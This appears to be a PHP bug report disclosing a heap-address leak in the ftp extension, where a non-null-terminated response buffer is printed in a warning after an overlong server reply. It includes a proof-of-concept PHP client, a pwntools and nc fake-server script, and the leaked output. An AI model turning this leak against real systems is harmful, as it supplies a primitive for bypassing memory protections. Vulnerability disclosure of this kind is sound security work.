Description:
------------
In ftp extension, it uses `struct ftpbuf` to keep track of the communication with a remote ftp server.
A simplified version of `struct ftpbuf` is listed as below
~~~
typedef struct ftpbuf
{
        ...

	char		inbuf[FTP_BUFSIZE];	/* last response text */
	char		*extra;			/* extra characters */
        ...
};
~~~
in `php-src/ftp.c`, inbuf is treated as a byte buffer, and it is not null-terminated. The function using it is `ftp_readline`.

If an attacker sends a request to his own server, the server can respond with a very long line which fails `ftp_readline`. At this moment, the buffer is fully filled.

The failure of `ftp_readline` triggers a failure in upper layer which eventually triggers `php_error_docref(NULL, E_WARNING, "%s", ftp->inbuf);` in `php_ftp.c`. It assumes `ftp->inbuf` is null-terminated while it is not.

And then it prints the `extra` pointer out to the attacker.
By carefully setup the warning handler, the attacker can intercept the leaked heap address for later exploitation.

This vulnerability is found by Yihui Zeng, Jayakrishna Menon, Steven Wirsz, and Gokul Krishna P from Arizona State University for class CSE598 Applied Vulnerability Research

Test script:
---------------
test.php
------
<?php
set_error_handler("warning_handler", E_WARNING);
function warning_handler($errno, $errstr) {
	echo "caught!\n";
	echo $errno;
	echo $errstr;
	echo "caught end!\n";
}

$conn = ftp_connect("127.0.0.1", 8333);

$a = ftp_systype($conn);
?>


server.py
--------------
from pwn import *

r = process(["/bin/nc", "-lvp", "8333"])
r.send("220 \n")
r.sendafter("SYST", "\n"+" "*4096)

Actual result:
--------------
$ ./php test.php 
12
Warning: ftp_systype():                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 a��=V in /home/hacker/test.php on line 6
bool(false)
3